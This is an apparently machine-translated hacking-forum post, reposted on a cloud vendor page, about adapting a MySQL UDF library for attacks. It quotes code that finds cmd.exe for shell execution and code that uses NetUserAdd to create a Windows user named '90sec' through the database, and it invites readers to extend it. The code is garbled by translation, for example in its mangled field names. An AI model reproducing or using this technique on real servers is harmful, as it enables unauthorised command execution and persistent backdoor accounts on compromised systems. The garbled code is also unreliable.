Some UDF divergent ideas

Source: Internet
Author: User

 

* Author: mer4en7y

Team: 90sec
Declaration: langouster, source code of UDF
*/
I believe that you will not be unfamiliar with udfs. I have read a UDF source code shared by Forum ye. I have never read it before. So I read it and wrote this spam article, don't laugh!
Shell functions are not unfamiliar to anyone.
GetSystemDirectory (ShellPath, MAX_PATH-1 );
Strcat (ShellPath, "\ cmd.exe ");
GetEnvironmentVariable ("temp", TempFilePath, MAX_PATH-1 );
Strcat (TempFilePath, "\ 2351213.tmp ");
The cmd in system32 is called here. If it is deleted, the function will fail. How can we divergence it?
In fact, the tool is only a helper. Look at the following simple code:
This is a piece of code for adding common users using API functions. I will slightly modify the original about function and replace it with the following code.
NET_API_STATUS ret = 0;
DWORD dwErr = 0;
USER_INFO_1 oUserInfo;
ZeroMemory (& oUserInfo, sizeof (oUserInfo ));
OUserInfo. usri1_name = L "90sec ";
OUserInfo. usristmpassword = L "90sec ";
OUserInfo. usri1_priv = USER_PRIV_USER;
OUserInfo. usri1_flags = UF_NORMAL_ACCOUNT;
Ret = NetUserAdd (NULL, 1, (LPBYTE) (& oUserInfo), & dwErr );
If (ret = NERR_Success)
{
Initid-> ptr = (char *) malloc (100 );
Strcpy (initid-> ptr, "execution successful \ r \ n ");
* Length = strlen (initid-> ptr );
Return initid-> ptr;
}
Result

 

Normal User Added successfully:

You can use it freely and add some other function functions. Thank you for watching.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.